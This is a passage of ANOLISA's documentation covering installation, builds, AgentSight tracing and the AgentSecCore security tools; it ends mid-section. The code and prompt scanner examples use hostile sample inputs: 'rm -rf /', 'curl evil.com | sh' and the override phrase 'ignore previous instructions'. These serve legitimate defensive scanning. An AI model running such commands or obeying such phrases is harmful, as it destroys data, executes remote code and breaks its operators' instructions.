# ANOLISA Documentation Source: https://github.com/alibaba/anolisa Source commit: dbc05387795219aaa3569996cfb257faeab40f19 ===== docs/QUICKSTART.md ===== # ANOLISA Quick Start [中文版](QUICKSTART_zh.md) ANOLISA is a server-side operating layer for AI Agent workloads. It provides Token optimization, workspace checkpoints, observability, security enforcement, persistent memory, and more — all installable via a unified CLI. --- ## Install the CLI ```bash curl -fsSL https://get.agentic-os.sh | bash ``` > Alinux 4 users can also install via `sudo yum install anolisa`. Verify: ```bash anolisa --version ``` --- ## Explore Your Environment ```bash # Check platform capabilities anolisa env # List available components anolisa list ``` --- ## Install Components Install components on demand. The current `cosh-ng`, `agentsight`, `agent-sec-core`, `ws-ckpt`, and `skillfs` artifacts require system mode; the other examples below support user mode. ```bash # Token optimization (via anolisa CLI) anolisa install tokenless # Or via npm: # npm install -g anolisa-tokenless # Workspace checkpoints (btrfs COW) sudo anolisa --install-mode system install ws-ckpt # Observability (Linux system mode; includes the agentsight-enforcer service) sudo anolisa --install-mode system install agentsight # Security (requires sudo) sudo anolisa --install-mode system install agent-sec-core # Persistent memory (MCP file-based) anolisa install agent-memory # Skill filesystem (FUSE virtual views) sudo anolisa --install-mode system install skillfs # OS skill library anolisa install os-skills # Copilot Shell anolisa install cosh # cosh-ng (AI-native Linux terminal) sudo anolisa --install-mode system install cosh-ng ``` Check health: ```bash anolisa status ``` --- ## Use Components After installation, each component operates independently: ```bash # Start the installed terminal cosh # Token optimization — compress tool schemas and command output tokenless compress-schema -f tool.json tokenless env-check --all # Workspace checkpoints — instant create/rollback ws-ckpt checkpoint -w ~/project -s v1 -m "initial" ws-ckpt rollback -w ~/project -s v1 # Observability — trace Agent Token consumption sudo agentsight trace agentsight token --period week agentsight serve # Web Dashboard: http://localhost:7396 # Security — system hardening and skill verification agent-sec-cli harden --scan --config agentos_baseline agent-sec-cli skill-ledger status ``` --- ## Integrate with Agent Frameworks Bridge installed components to Agent frameworks (cosh / OpenClaw / Hermes): ```bash anolisa adapter scan # Discover installed frameworks anolisa adapter enable tokenless openclaw # tokenless → OpenClaw anolisa adapter enable ws-ckpt hermes # ws-ckpt → Hermes ``` --- ## Next Steps ### Global - [Full User Guide](user-guide/en/README.md) — browse all component docs by category - [Installation Guide](user-guide/en/installation.md) — progressive install from CLI to full stack - [Troubleshooting](user-guide/en/troubleshooting.md) — common issues and fixes ### User Entry Points - [anolisa CLI Reference](user-guide/en/user-entrypoint/anolisa-cli.md) - [cosh-ng AI-native Terminal](user-guide/en/user-entrypoint/cosh-ng/QUICKSTART.md) - [Copilot Shell](user-guide/en/user-entrypoint/copilot-shell/QUICKSTART.md) - [OS Skills](user-guide/en/user-entrypoint/os-skills.md) ### Runtime & Token Saving - [Workspace Checkpoints](user-guide/en/runtime/ws-ckpt.md) - [Skill Filesystem](user-guide/en/runtime/skillfs.md) - [Token Optimization](user-guide/en/token-saving/tokenless/QUICKSTART.md) - [Agent Memory](user-guide/en/token-saving/agent-memory.md) ### Observability & Security - [AgentSight](user-guide/en/agent-observability/agentsight.md) - [AgentSecCore](user-guide/en/agent-security/agent-sec-core/QUICKSTART.md) ===== docs/BUILDING.md ===== # Building ANOLISA from Source [中文版](BUILDING_zh.md) This guide is for contributors working from an ANOLISA checkout. It describes the repository-wide build entry point, the boundary of the aggregate test runner, and the local build and test commands for all twelve components. A component README remains the source for component-specific dependencies and runtime setup. ## 1. Prepare a checkout ```bash git clone https://github.com/alibaba/anolisa.git cd anolisa ``` The common prerequisites are Git, Bash, `make`, a C compiler for native Rust or Python extensions, and a working network connection for package downloads. Platform-specific requirements are listed in the component matrix below. The repository does not define one global Rust version. Use the `rust-toolchain.toml` or `rust-version` declared by the component you are changing. ## 2. Repository layout The `src/` tree currently contains these twelve components: | Component | Directory | Platform and role | |-----------|-----------|-------------------| | copilot-shell (`cosh`) | [`src/copilot-shell`](../src/copilot-shell/README.md) | TypeScript terminal assistant; Linux, macOS, and Windows | | cosh-ng | [`src/cosh-ng`](../src/cosh-ng/README.md) | Rust Agent OS CLI and shell; full Linux build, limited macOS source build | | agent-sec-core | [`src/agent-sec-core`](../src/agent-sec-core/README.md) | Rust sandbox plus Python security CLI; Linux | | agentsight | [`src/agentsight`](../src/agentsight/README.md) | Rust/eBPF observability; full tracing on Linux, `trace` and `serve` on macOS | | tokenless | [`src/tokenless`](../src/tokenless/README.md) | Rust token and command-output optimization; Linux source build, with cross-compiled npm artifacts for macOS | | agent-memory (`memory`) | [`src/agent-memory`](../src/agent-memory/README.md) | Rust MCP memory server; Linux | | os-skills (`skills`) | [`src/os-skills`](../src/os-skills/README.md) | Static skill definitions and scripts; all platforms supported by each skill | | anolisa | [`src/anolisa`](../src/anolisa/README.md) | Rust component lifecycle CLI; Linux and macOS arm64 | | SkillFS (`skillfs`) | [`src/skillfs`](../src/skillfs/README.md) | Rust FUSE skill filesystem; Linux | | ws-ckpt | [`src/ws-ckpt`](../src/ws-ckpt/README.md) | Rust workspace checkpoint daemon and TypeScript adapters; Linux system service | | ktuner | [`src/ktuner`](../src/ktuner/README.md) | Rust kernel-tuning engine; Linux | | blaze | [`src/blaze`](../src/blaze/README.md) | Rust per-host sandbox orchestrator; Linux | The repository-level instructions are in [`AGENTS.md`](../AGENTS.md). Read a component's `AGENTS.md` before changing that component and use its README for architecture and runtime details. ## 3. Toolchains and native dependencies The build script can install common dependencies on supported Linux distributions, but it cannot make an unsupported platform build a Linux-only component. | Need | Source of truth | |------|-----------------| | Node.js | `src/copilot-shell/package.json` requires Node.js `>=20.0.0`; npm is also used by the agentsight, agent-sec-core, tokenless, and ws-ckpt plugin builds. | | Python and uv | `src/agent-sec-core/agent-sec-cli/pyproject.toml` requires Python `==3.11.6`; use `uv` for that project. Do not replace this with a repository-wide Python minimum. | | Rust | `src/agent-sec-core/linux-sandbox/rust-toolchain.toml` pins `1.93.0`; `src/anolisa/rust-toolchain.toml` and `src/blaze/rust-toolchain.toml` pin `1.88.0`; `src/cosh-ng/rust-toolchain.toml` follows `stable`. Other components use the `rust-version` in their `Cargo.toml` when one is declared. | | cosh-ng | Linux source builds need `pkg-config` and OpenSSL development files. | | agent-sec-core | Linux sandbox runtime and integration checks may need bubblewrap, GnuPG, and `jq`. | | agentsight | Linux eBPF builds need clang, LLVM, libbpf and ELF development headers, kernel headers, and a BTF-enabled kernel. `make build-mac` builds the macOS local viewer without eBPF. | | tokenless | `just` is used to fetch and patch RTK; npm is needed for the OpenClaw plugin. | | agent-memory | Linux builds need CMake and libsystemd development headers. | | SkillFS | FUSE 3 and `/dev/fuse` are needed for the smoke test; ordinary Cargo tests do not mount FUSE. | | ws-ckpt | Installing the daemon requires Linux systemd and root privileges. Its user-mode Makefile target intentionally does not install the service. | When a component has a pinned toolchain, run its commands from that component directory so rustup can select the pin automatically. For an unpinned component, check its `Cargo.toml` and the installed stable toolchain before building. ## 4. Unified build script `scripts/build-all.sh` is a convenience entry point, not a complete monorepo builder. It currently knows eight components: - Default six: `cosh`, `skills`, `sec-core`, `tokenless`, `ws-ckpt`, and `memory`. - Optional two: `cosh-ng` and `sight`. Add `--all` or select them with `--component`. The four components outside this script are `anolisa`, `skillfs`, `ktuner`, and `blaze`; build those with their local commands in section 5. The default install profile is user mode. Component files install under `~/.local` and user-scoped Copilot Shell directories without `sudo`. Initial system dependency installation may still request `sudo`. Use `--system` (or `--install-mode system`) for system paths; the script stages files and may invoke `sudo`. `--no-install` builds and stages artifacts without installing them. ```bash # Default six components, user install ./scripts/build-all.sh # Build and stage without installing ./scripts/build-all.sh --no-install # Use system paths instead of the default user profile ./scripts/build-all.sh --system # Include cosh-ng and agentsight as well ./scripts/build-all.sh --all # Select one or more of the eight supported names ./scripts/build-all.sh --component cosh --component sec-core ./scripts/build-all.sh --component cosh-ng --component sight # Reuse already-installed dependencies ./scripts/build-all.sh --ignore-deps # Install dependencies only, or print the plan without changing the system ./scripts/build-all.sh --deps-only ./scripts/build-all.sh --dry-run # Explicit non-interactive mode and help ./scripts/build-all.sh --non-interactive ./scripts/build-all.sh --help ``` Valid `--component` names are `cosh`, `skills`, `sec-core`, `tokenless`, `ws-ckpt`, `memory`, `cosh-ng`, and `sight`. The script may build a component in `target/` before installing it, and a component's own install policy still applies. For example, `ws-ckpt` requires `--system` to install its daemon; selecting it in the default user profile does not create a user service. ## 5. Component build and test entry points Run the commands from the repository root unless a `cd` is shown. These are the smallest useful local gates; read the linked README and scoped developer guide before changing component internals. | Component | Build | Test and quality gate | |-----------|-------|-----------------------| | [copilot-shell](../src/copilot-shell/README.md) | `cd src/copilot-shell && make deps && make build` | `cd src/copilot-shell && make lint && make test` | | [os-skills](../src/os-skills/README.md) | `cd src/os-skills && make build` | No compilation target. Validate changed `SKILL.md` files and run changed scripts with their documented interpreter. | | [agent-sec-core](../src/agent-sec-core/README.md) | `cd src/agent-sec-core && make build-all` | `cd src/agent-sec-core && make test` runs Python, Rust sandbox, and OpenClaw plugin tests. Python uses uv with Python 3.11.6. | | [agentsight](../src/agentsight/README.md) | Linux: `cd src/agentsight && make build-all`; macOS local viewer: `cd src/agentsight && make build-mac` | Linux: `cd src/agentsight && make lint && make test`; macOS: run the tests relevant to the local viewer and trajectory collector. | | [tokenless](../src/tokenless/README.md) | `cd src/tokenless && make build` | `cd src/tokenless && make lint && make test` | | [agent-memory](../src/agent-memory/README.md) | `cd src/agent-memory && make build` | `cd src/agent-memory && make fmt-check && make lint && make test`; `cd src/agent-memory && make smoke` covers the MCP stdio path. Linux only. | | [ws-ckpt](../src/ws-ckpt/README.md) | `cd src/ws-ckpt && make build` | `cd src/ws-ckpt && make test`; install and service checks require Linux system mode. | | [cosh-ng](../src/cosh-ng/README.md) | `cd src/cosh-ng && cargo build --workspace` | `cd src/cosh-ng && cargo fmt --all -- --check`, then select the closest targeted test from its [contribution guide](../src/cosh-ng/CONTRIBUTING.md). Full local gates are reserved for explicitly requested large or cross-cutting validation. | | [anolisa](../src/anolisa/README.md) | `cd src/anolisa && cargo build --release --locked` | `cd src/anolisa && cargo fmt --all --check && cargo clippy --all-targets --locked -- -D warnings && cargo test --locked` | | [SkillFS](../src/skillfs/README.md) | `cd src/skillfs && cargo build --workspace --release` | `cd src/skillfs && cargo fmt --all --check && cargo clippy --workspace --all-targets -- -D warnings && cargo test --workspace`; on Linux, `cd src/skillfs && scripts/test.sh` adds the FUSE smoke test. | | [ktuner](../src/ktuner/README.md) | `cd src/ktuner && cargo build --release` | `cd src/ktuner && cargo fmt --all --check && cargo clippy --all-targets -- -D warnings && cargo test` | | [blaze](../src/blaze/README.md) | `cd src/blaze && cargo build --workspace --release` | `cd src/blaze && cargo fmt --all --check && cargo clippy --workspace --all-targets -- -D warnings && cargo test --workspace` | For a public API or rustdoc change, add `cargo doc --workspace --no-deps` to the affected Rust component's gate. `ktuner tune`, Blaze Firecracker paths, FUSE mounts, eBPF tracing, and system daemons need host privileges or kernel features beyond a normal unit-test run. The [CI workflow](https://github.com/alibaba/anolisa/blob/main/.github/workflows/ci.yaml) adds coverage, packaging, frontend, adapter, and integration checks for selected components. Those jobs are stricter than the smallest local commands in the matrix, so consult the workflow when a change touches a generated package or a framework adapter. ## 6. Aggregate tests and pull-request gates `tests/run-all-tests.sh` is a partial convenience runner. With no filter it invokes exactly five components: copilot-shell, agent-sec-core, agentsight, tokenless, and agent-memory. It does not test cosh-ng, os-skills, ws-ckpt, anolisa, SkillFS, ktuner, or blaze. ```bash ./tests/run-all-tests.sh ./tests/run-all-tests.sh --filter shell ./tests/run-all-tests.sh --filter sec ./tests/run-all-tests.sh --filter sight ./tests/run-all-tests.sh --filter tokenless ./tests/run-all-tests.sh --filter memory ``` The script currently skips work when prerequisites are missing. It skips agent-sec-core Python tests without `uv`, skips its sandbox e2e test when `/usr/local/bin/linux-sandbox` is absent, skips AgentSight without `cargo`, and skips tokenless only when neither `make` nor `cargo` is available. It also skips agent-memory outside Linux or when `cargo` is unavailable. It still prints a success line after these skips, so a zero exit status does not prove that every test ran. The agent-sec-core e2e invocation also depends on its current working-directory layout. Use the component Makefiles for a reliable local gate. For a pull request, select the rows in the component matrix that correspond to the changed files and run their build, lint, and test commands. Add platform, integration, smoke, frontend, or documentation checks when the changed files require them. Keep the aggregate runner as a quick signal rather than the pull-request acceptance criterion. ## 7. Further documentation - [User installation guide](user-guide/en/installation.md) - [Developer guide index](developer-guide/en/README.md) - [Component onboarding specification](../specs/component-onboarding.md) - [Documentation standard](../specs/documentation-standard.md) Component-specific build details, generated artifacts, and runtime setup belong in the component README or its linked developer guide. Keep this page focused on repository-wide entry points and update it when the component list or script interfaces change. ===== docs/user-guide/en/README.md ===== # ANOLISA User Guide [中文版](../zh/README.md) ANOLISA provides a complete server-side runtime for AI Agent workloads. Components are installed via the `anolisa` CLI and operate independently. --- ## Component Architecture ``` ┌────────────────────────────────────────────────────────────────────┐ │ Agent Applications (cosh / OpenClaw / Hermes / custom) │ ├────────────────────────────────────────────────────────────────────┤ │ User Entry Points │ │ anolisa-cli · cosh · os-skills │ ├──────────────────────────────────┬─────────────────────────────────┤ │ Token Saving │ Runtime │ │ tokenless · agent-memory │ skillfs · ws-ckpt │ ├──────────────────────────────────┼─────────────────────────────────┤ │ Agent Observability │ Agent Security │ │ agentsight │ agent-sec-core │ └──────────────────────────────────┴─────────────────────────────────┘ ``` --- ## Documentation Index ### Global | Document | Content | |----------|---------| | [Installation](installation.md) | Progressive install from CLI to full component stack | | [Troubleshooting](troubleshooting.md) | Cross-component common issues and fixes | ### User Entry Points (`user-entrypoint/`) | Document | Component | Description | |----------|-----------|-------------| | [anolisa CLI](user-entrypoint/anolisa-cli.md) | anolisa | Unified CLI for component management | | [cosh-ng](user-entrypoint/cosh-ng/README.md) | cosh-ng | AI-native Linux terminal with an integrated Agent runtime | | [Copilot Shell](user-entrypoint/copilot-shell/QUICKSTART.md) | cosh | AI terminal assistant and command gateway | | [OS Skills](user-entrypoint/os-skills.md) | os-skills | System management and DevOps skills | ### Agent Observability (`agent-observability/`) | Document | Component | Description | |----------|-----------|-------------| | [AgentSight](agent-observability/agentsight.md) | agentsight | eBPF-based tracing, Token accounting, Web Dashboard | ### Agent Security (`agent-security/`) | Document | Component | Description | |----------|-----------|-------------| | [AgentSecCore](agent-security/agent-sec-core/QUICKSTART.md) | agent-sec-core | Hardening, code scanning, prompt scanning, skill ledger | | [Code Scanner Hook Configuration](agent-security/agent-sec-core/code-scanner.md) | agent-sec-core | Per-agent hook modes, environment variables, and fallback behavior | | [PII Checker](agent-security/agent-sec-core/pii-checker.md) | agent-sec-core | Personal data / credential detection and redaction | | [Skill Ledger User Guide](agent-security/agent-sec-core/skill-ledger.md) | agent-sec-core | Skill integrity chain and signing workflow | | [OpenClaw Deployment & Upgrade](agent-security/agent-sec-core/openclaw-deploy.md) | agent-sec-core | OpenClaw plugin deployment and upgrade guide | ### Token Saving (`token-saving/`) | Document | Component | Description | |----------|-----------|-------------| | [Tokenless Quick Start](token-saving/tokenless/QUICKSTART.md) | tokenless | Install, connect an agent, run the first compression, and verify | | [Tokenless User Manual](token-saving/tokenless/user-manual.md) | tokenless | Capability boundaries, runtime behavior, and task navigation | | [Tokenless Framework Integration](token-saving/tokenless/framework-integration.md) | tokenless | cosh, OpenClaw, Hermes, Qoder, Claude Code, Codex, and Qwen Code | | [Tokenless CLI Reference](token-saving/tokenless/cli-reference.md) | tokenless | Compression, environment checks, Stash, MCP, and statistics commands | | [Measuring Tokenless Savings](token-saving/tokenless/measuring-savings.md) | tokenless | Statistics, diffs, dry runs, AgentSight, and SLS measurement | | [Tokenless Configuration and Data Privacy](token-saving/tokenless/configuration-and-privacy.md) | tokenless | Configuration precedence, local data, and sensitive workloads | | [Tokenless Troubleshooting](token-saving/tokenless/troubleshooting.md) | tokenless | Adapters, databases, Stash, upgrades, and uninstall | | [Agent Memory](token-saving/agent-memory.md) | agent-memory | Persistent memory, MCP tools, search and sovereignty controls | ### Runtime (`runtime/`) | Document | Component | Description | |----------|-----------|-------------| | [Blaze Sandbox Runtime](runtime/blaze.md) | blaze | Opt-in VM networking and periodic storage artifact synchronization for managed sandboxes | | [Workspace Checkpoints](runtime/ws-ckpt.md) | ws-ckpt | Instant snapshot/rollback via btrfs COW | | [Skill Filesystem](runtime/skillfs.md) | skillfs | FUSE virtual views with progressive disclosure | | [SkillFS Kubernetes Sidecar](runtime/skillfs-kubernetes-sidecar.md) | skillfs | Running SkillFS as a FUSE sidecar in Kubernetes | --- ## Terminology | Term | Meaning | |------|---------| | Component | A software unit implementing a specific capability (e.g. `tokenless`) | | Adapter | A bridge package connecting a component to an Agent framework | | system mode | Installation requiring root privileges (`sudo anolisa install`) | | user mode | Installation into user-local paths (no sudo required) | ===== docs/user-guide/en/agent-observability/agentsight.md ===== # AgentSight AgentSight is a zero-instrumentation AI Agent observability tool based on eBPF. It captures LLM API calls, Token consumption, and process behavior at the kernel level without modifying Agent code. ## Overview AgentSight provides full-stack observability for AI Agents running on Linux: | Capability | Description | |------------|-------------| | Token consumption analysis | Multi-dimensional Token accounting by agent, task, and model | | Behavior audit | Complete tracing of LLM calls and process execution | | Dashboard visualization | Web UI for real-time Token trends, Agent health, and session traces | | Agent auto-discovery | Automatic detection of running AI Agent processes | | Interruption detection | Detection of LLM errors, SSE truncation, context overflow, and crashes | | External log export | Supports exporting structured events to external log services | ## Prerequisites | Requirement | Minimum | |-------------|---------| | OS | Linux | | Kernel | >= 5.8 (BTF support required) | | Privileges | root or CAP_BPF (for eBPF probes) | | Architecture | x86_64 / aarch64 | > **macOS**: On macOS, AgentSight provides two commands — `trace` (trajectory collector that scans local JSONL session files, no eBPF) and `serve` (Dashboard viewer). All other eBPF-dependent commands are Linux-only. ## Installation ```bash # Recommended (system mode required — eBPF needs root) sudo anolisa install agentsight # Alternative (Alinux, requires YUM repo configuration) sudo yum install agentsight # Source build (developers only) cd src/agentsight && make build-all ``` > Use `make build-all` for source builds: it builds the Dashboard frontend, the main binary, and `agentsight-enforcer` in sequence. Running only `make build` skips the enforcer, and `serve` will keep logging `AgentSight enforcement unavailable`. ## Quick Start ```bash # Terminal 1: Start eBPF tracing (requires root) sudo agentsight trace # Terminal 2: Start Dashboard agentsight serve # Open http://localhost:7396 in browser # Show the Dashboard URL and auth token agentsight dashboard ``` > Localhost access is authentication-free; remote access requires a token, see [Dashboard Access & Authentication](#dashboard-access--authentication). ## Usage ### agentsight trace — Start eBPF Tracing Starts kernel-level capture of AI Agent activity. ```bash sudo agentsight trace ``` > Requires root privileges. Captures SSL/TLS traffic, process events, and file operations. ### agentsight serve — Start API & Dashboard ```bash # Default: bind to 127.0.0.1:7396 agentsight serve # Bind to all interfaces (remote access) agentsight serve --host 0.0.0.0 --port 7396 ``` > Ensure your firewall allows access to port 7396 if accessing remotely. #### Dashboard Access & Authentication Dashboard token authentication is enabled by default: - **Localhost access** (loopback) bypasses authentication — just open `http://127.0.0.1:7396`. - **Remote access** requires a token: append `?token=` to the browser URL, or set the `Authorization: Bearer ` HTTP header. - The token is auto-generated on the first `serve` startup (64 hex characters) and persisted to the `.dashboard_token` file next to the database (default `/var/log/sysak/.agentsight/.dashboard_token`); it is reused across restarts. - Run `agentsight dashboard` to view the access URL and token directly. To disable authentication (only recommended on trusted internal networks), set in the config file: ```json { "server": { "auth": { "enabled": false } } } ``` ### agentsight dashboard — Show Dashboard Access Info Displays the Dashboard URL and auth token, then tries to open a browser. On ECS instances it also prints a security-group configuration guide. ```bash # Show URL and token (requires serve to be running) agentsight dashboard # Show info only, do not open a browser agentsight dashboard --no-open ``` ### agentsight summary — Unified Overview Rolls up sessions and Token usage, interruption events grouped by severity, and Tokenless savings for a recent time window — one command for the overall health picture. ```bash # Last 24 hours (default) agentsight summary # Last 7 days, JSON output agentsight summary --last 168 --json ``` > Data sources degrade independently: a missing database contributes zeros without affecting the rest of the report. ### agentsight token — Query Token Usage ```bash # Today's usage agentsight token # Weekly comparison agentsight token --period week --compare # JSON output agentsight token --json ``` ### agentsight audit — Query Audit Events ```bash # Recent events agentsight audit # Filter by PID and type agentsight audit --pid 12345 --type llm # Summary statistics agentsight audit --summary ``` ### agentsight discover — Scan for Agents ```bash # Discover running AI Agents agentsight discover # List known Agent types agentsight discover --list-known ``` ### agentsight interruption — Session Interruption Events Query and manage AI Agent session interruption events. **Interruption types:** | Type | Description | Default Severity | |------|-------------|-----------------| | `llm_error` | HTTP status >= 400 or SSE body contains error | high | | `sse_truncated` | SSE stream ended without `finish_reason=stop` | high | | `context_overflow` | Context length exceeded | high | | `agent_crash` | Agent process disappeared mid-session | critical | | `token_limit` | `finish_reason=length` with output near max | medium | ```bash # List interruption events (default: last 24h) agentsight interruption list [--last ] [--type ] [--severity ] # Statistics by type agentsight interruption stats # Count by severity agentsight interruption count # Get a single event by ID agentsight interruption get # List all interruption events of a session / conversation agentsight interruption session agentsight interruption conversation # Mark as resolved agentsight interruption resolve ``` ## Configuration Configuration file: `/etc/agentsight/config.json` (override with `--config`). > **Important**: User config files **replace** (not extend) the built-in default rules. Ensure your config includes all Agent rules you need. ### Feature Flags | Feature | JSON Path | Default | Description | |---------|-----------|---------|-------------| | Token stats | `features.token_stats` | `true` | Core Token accounting | | SQLite storage | `features.sqlite_storage.enabled` | `true` | Local persistence | | Interruption detection | `features.interruption_detection.enabled` | `true` | Error/crash detection | | Audit | `features.audit` | `true` | LLM call audit | | Session mapping | `features.session_mapping.enabled` | `true` | responseId→sessionId | ### Runtime Limits | Config | Default | Description | |--------|---------|-------------| | `event_channel_capacity` | 10,000 | Probe event bounded channel capacity | | `pending_genai_max_count` | 1,000 | Max events awaiting session_id | | `max_connection_body_mb` | 8 | Single HTTP connection body buffer limit | | `ring_buffer_mb` | 32 | eBPF Ring Buffer size (must be power of 2) | ## Agent Framework Integration ### Conversational Skill (cosh) AgentSight provides a built-in conversational skill for Copilot Shell. Users can query Token usage and audit logs via natural language: - "How much Token did I use today?" - "Show me today's LLM call records" ### Token Savings (Tokenless Integration) AgentSight integrates with the Tokenless component to display Token savings data in the Dashboard. No additional configuration needed — if both are installed, savings data appears automatically. ## Data Management ### Database Auto-cleanup Default maximum database size: 200 MB. When reached, automatic cleanup triggers. Customize via environment variable: ```bash export AGENTSIGHT_GENAI_DB_MAX_SIZE_MB=500 ``` ### Clear History ```bash rm -rf /var/log/sysak/.agentsight # Then restart AgentSight ``` ## FAQ **Q: Why can't I see Token data for OpenClaw?** A: AgentSight monitors the `openclaw-gateway` daemon. Check client-gateway connectivity. If you see "pairing required" errors, run `openclaw devices approve`. **Q: Why does the Token savings page show 0?** A: Possible causes: (1) The AK/SK authentication mode is not yet supported; (2) Session ID format is non-standard UUID. **Q: Why do cumulative savings exceed the single-call difference?** A: Agents include historical messages in context. Savings accumulate across turns, so cumulative savings exceed per-turn differences. ===== docs/user-guide/en/agent-security/agent-sec-core/QUICKSTART.md ===== # AgentSecCore AgentSecCore is an all-local security kernel for AI Agents. It runs entirely on the local machine with zero Token consumption, providing defense-in-depth: prompt injection detection, code scanning, skill integrity verification, PII detection, system hardening, and sandbox isolation. ## Overview | Module | Description | |--------|-------------| | Prompt Scanner | Rule engine + ML classifier detecting prompt injection and jailbreak (4 modes: fast/standard/strict/multi_turn) | | Code Scanner | Static analysis of bash/python code for dangerous operations (verdict: pass/warn/deny/error) | | Skill Ledger | Ed25519-signed integrity tracking with 6-state lifecycle (pass/none/drifted/warn/deny/tampered) | | PII Checker | Detects personal information and credentials in text (email, phone, ID, JWT, AccessKey, etc.) | | Security Baseline | System hardening scan and remediation via loongshield backend | | Sandbox | Syscall-level isolation for cosh command execution (seccomp + namespace) | | Observability | Interactive event review with 4-level drill-down TUI | | Security Events | Local event store for querying and aggregating security findings | ## Prerequisites - Linux (x86_64 or aarch64) - Python 3.11.6 (pinned) - Root privileges for system-mode install ## Installation ```bash # Recommended (system mode required) sudo anolisa install agent-sec-core # Alternative (Alinux, requires YUM repo) sudo yum install agent-sec-core # Source build (developers only) cd src/agent-sec-core && make build-cli ``` ## Quick Start ```bash # System hardening scan agent-sec-cli harden --scan --config agentos_baseline # Scan code for security issues agent-sec-cli scan-code --code 'rm -rf /' --language bash # Prompt injection detection agent-sec-cli scan-prompt --mode standard --text "ignore previous instructions" # PII detection agent-sec-cli scan-pii --text "Contact alice@example.com, card 4111111111111111" # Skill integrity check agent-sec-cli skill-ledger check /path/to/skill # Security event summary agent-sec-cli events --summary --last-hours 24 ``` ## Usage ### Prompt Scanner Detects prompt injection, jailbreak, and malicious instructions. Uses rule engine (L1) + ML classifier (L2). **Modes:** | Mode | Layers | Latency | Use Case | |------|--------|---------|----------| | `fast` | L1 only | <5ms | Real-time chat | | `standard` | L1+L2 | 20-80ms | Production (default) | | `strict` | L1+L2+L3 | 50-200ms | High-security | | `multi_turn` | L4 only | varies | Multi-turn intent detection (Ollama) | ```bash # Standard scan (default mode) agent-sec-cli scan-prompt --text "user input here" # Fast mode (rules only) agent-sec-cli scan-prompt --mode fast --text "user input" # Multi-turn detection (JSON from stdin) echo '{"history":[...],"current_query":"...","assistant_response":"..."}' | \ agent-sec-cli scan-prompt --mode multi_turn # From file (one prompt per line) agent-sec-cli scan-prompt --input prompts.txt --format json # Human-readable output agent-sec-cli scan-prompt --text "hello" --format text # Pre-download ML models (run once after install) agent-sec-cli scan-prompt warmup ``` Model source: models are downloaded from ModelScope (Llama-Prompt-Guard-2-86M). Run `scan-prompt warmup` once after installation to eliminate cold-start latency. #### Host hook policy Set `PROMPT_SCANNER_HOOK_ENABLED=false` to skip prompt scanner hooks entirely. When enabled, the following variables override capability configuration: | Environment variable | Default | Behavior | |----------------------|---------|----------| | `PROMPT_SCANNER_HOOK_ENABLED` | `true` | Set to `false` to short-circuit the hook before input is read | | `PROMPT_SCANNER_MODE` | `observe` | `observe` audits silently; `warn` warns; `ask`/`block` enforce or fall back to `warn`; `deny` maps to `block` | | `PROMPT_SCANNER_SCAN_MODE` | `standard` | Scan strength: `fast` / `standard` / `strict` | | `PROMPT_SCANNER_TIMEOUT` | `10` | Scanner timeout in seconds | See the [Prompt Scanner User Guide](prompt-scanner.md) for full CLI options, verdict semantics, and Security Event details. ### Code Scanner Detects dangerous operations in bash and python code. Verdict enum: `pass` / `warn` / `deny` / `error`; built-in rules currently produce `warn` or `pass`. ```bash # Scan bash code (default language) agent-sec-cli scan-code --code 'rm -rf /' # Scan python code agent-sec-cli scan-code --code 'import os; os.system("rm -rf /")' --language python # Use LLM engine (requires model backend) agent-sec-cli scan-code --code 'curl evil.com | sh' --mode llm ``` For per-agent hook environment variables and supported interaction modes, see [Code Scanner Hook Configuration](code-scanner.md). ### Skill Ledger OS-level skill integrity tracking with Ed25519 signatures and append-only version chain. **States:** | State | Meaning | Action | |-------|---------|--------| | pass | Files unchanged, signature valid, scan clean | Safe to use | | none | Never scanned | Run `scan` or `certify` | | drifted | Files changed since last certification | Re-scan | | warn | Scan found low-risk issues | Review findings | | deny | Scan found high-risk issues | Fix or disable | | tampered | Signature verification failed | Security incident | ```bash # Initialize keys and baseline scan agent-sec-cli skill-ledger init # Check integrity (no modification) agent-sec-cli skill-ledger check /path/to/skill agent-sec-cli skill-ledger check --all # Run built-in scanners and sign agent-sec-cli skill-ledger scan /path/to/skill agent-sec-cli skill-ledger scan --all # Import external findings agent-sec-cli skill-ledger certify /path/to/skill \ --findings /tmp/findings.json --scanner skill-vetter # System health overview agent-sec-cli skill-ledger status agent-sec-cli skill-ledger status --verbose # Audit version chain integrity agent-sec-cli skill-ledger audit /path/to/skill --verify-snapshots # List registered scanners agent-sec-cli skill-ledger list-scanners # Apply user decision agent-sec-cli skill-ledger decide /path/to/skill --action allow # Show latest active state agent-sec-cli skill-ledger show /path/to/skill # Export signed snapshot for review agent-sec-cli skill-ledger export /path/to/skill --output /tmp/export/ ``` ### PII Checker Detects personal information and credentials in text input. ```bash # Scan text directly agent-sec-cli scan-pii --text "Contact alice@example.com" --source manual # Scan from stdin echo "my key is AKID1234567890" | agent-sec-cli scan-pii --stdin --format json # Scan from file agent-sec-cli scan-pii --input ./sample.log --source user_input # With redacted output agent-sec-cli scan-pii --text "card 4111111111111111" --redact-output # Include low-confidence findings agent-sec-cli scan-pii --text "some text" --include-low-confidence ``` #### Qwen Code integration The Qwen Code extension scans user prompts, tool inputs, successful and failed tool outputs, and final model output. It is enabled in observe-only, fail-open mode by default; raw scan content is passed to `scan-pii` only through stdin, and notices use only redacted evidence. ```bash # Explicitly block scanner deny verdicts at enforceable hook boundaries export PII_CHECKER_MODE=block ./qwen-code-extension/scripts/deploy.sh ``` | Environment variable | Default | Behavior | |----------------------|---------|----------| | `PII_CHECKER_HOOK_ENABLED` | `true` | Set to `false` to skip the PII hook before input is read | | `PII_CHECKER_MODE` | `observe` | `observe` audits silently; `warn` warns; `ask`/`block` use host-specific enforcement or fallback; `debug` aliases `observe`, and `deny` aliases `block` | | `PII_CHECKER_ENABLED` | - | Legacy Qwen-only enabled variable, used when the new switch is absent | | `PII_CHECKER_INCLUDE_LOW_CONFIDENCE` | `false` | Passes `--include-low-confidence` when enabled | | `PII_CHECKER_TIMEOUT` | `5` | Scanner timeout in seconds, capped at 8 seconds | User prompts and tool inputs can be stopped before execution. For a successful tool call, `PostToolUse` runs after side effects have occurred, but Qwen Code 0.19.9 consumes `continue:false` and converts the normal result into a hook-stopped error before downstream handling. It cannot undo the tool's side effects. `PostToolUseFailure` does not consume blocking fields in that version, so failed outputs are scan-and-audit only and remain in the existing error flow. A denied final model output receives one rewrite attempt; a repeated `Stop` hook is not blocked again, preventing retry loops. Qwen Code does not currently provide a pre-render output replacement hook, so model-output blocking is best effort. ### Security Baseline System hardening via `agent-sec-cli harden` (wraps loongshield seharden on Alinux). ```bash # Compliance scan 